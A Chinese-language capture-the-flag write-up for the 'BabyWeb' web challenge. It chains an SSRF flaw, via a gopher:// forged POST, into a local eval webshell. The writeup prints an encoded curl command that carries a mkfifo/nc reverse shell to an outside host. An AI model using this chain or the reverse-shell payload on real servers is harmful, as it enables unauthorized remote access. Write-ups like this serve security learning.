ctf-writeups

BabyWeb 600 points

题意

Just find one way to use webshell. : )

http://host:port

解题步骤

打开网址，看到的是：

<?php 
function curl($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    $re = curl_exec($ch); 
    curl_close($ch); 
    return $re; 
} 
if(!empty($_GET['url'])){ 
    $url = $_GET['url']; 
    curl($url); 
}else{ 
    highlight_file(__FILE__);  
} 

显然是一个 SSRF(Server Side Request Forge) 了。用 file:/// 协议随便看了些文件，没找到什么有用的信息。然后打开 robots.txt ：

User-agent: *
Disallow: /webshe11111111.php

根据这个地址，访问 file:///var/www/html/webshe11111111.php ：

<?php
$serverList = array(
    "127.0.0.1"
);
$ip = $_SERVER['REMOTE_ADDR'];
foreach ($serverList as $host) {
    if ($ip === $host) {
        if ((!empty($_POST['admin'])) and $_POST['admin'] === 'h1admin') {
            @eval($_POST['hacker']);
        } else {
            die("You aren't admin!");
        }
    } else {
        die('This is webshell');
    }
}

所以我们需要：

从本地 POST
在 POST 中传 body
通过 body 中 hacker 参数打开一个反弹 shell

这些不能通过 http:// 完成，但是通过 gopher:// 协议，我们可以手动构造一个 HTTP POST 请求。

转义前：
POST /webshe11111111.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
admin=h1admin&hacker=system("reverse_shell")

转义后：
curl -vvv "202.112.51.130:8016/?url=gopher%3A%2F%2F127%2E0%2E0%2E1%3A80%2F%5FPOST%2520%2Fwebshe11111111%2Ephp%2520HTTP%2F1%2E1%250D%250AHost%3A%2520127%2E0%2E0%2E1%250D%250AContent%2DType%3A%2520application%2Fx%2Dwww%2Dform%2Durlencoded%250D%250AContent%2DLength%3A%2520182%250D%250A%250D%250Aadmin%3Dh1admin%26hacker%3Dsystem%252528%252522rm%252520%25252Ftmp%25252Ff%25253Bmkfifo%252520%25252Ftmp%25252Ff%25253Bcat%252520%25252Ftmp%25252Ff%25257C%25252Fbin%25252Fsh%252520%25252Di%2525202%25253E%2525261%25257Cnc%252520123%25252E123%25252E123%25252E123%2525201233%252520%25253E%25252Ftmp%25252Ff%252522%252529%25253B"

就可以拿到反弹的 shell 了，读取 fl11111aaaaaggggg.php 的内容：

<?php $flag="THUCTF{Th1s_EaSy_sSRF}";?>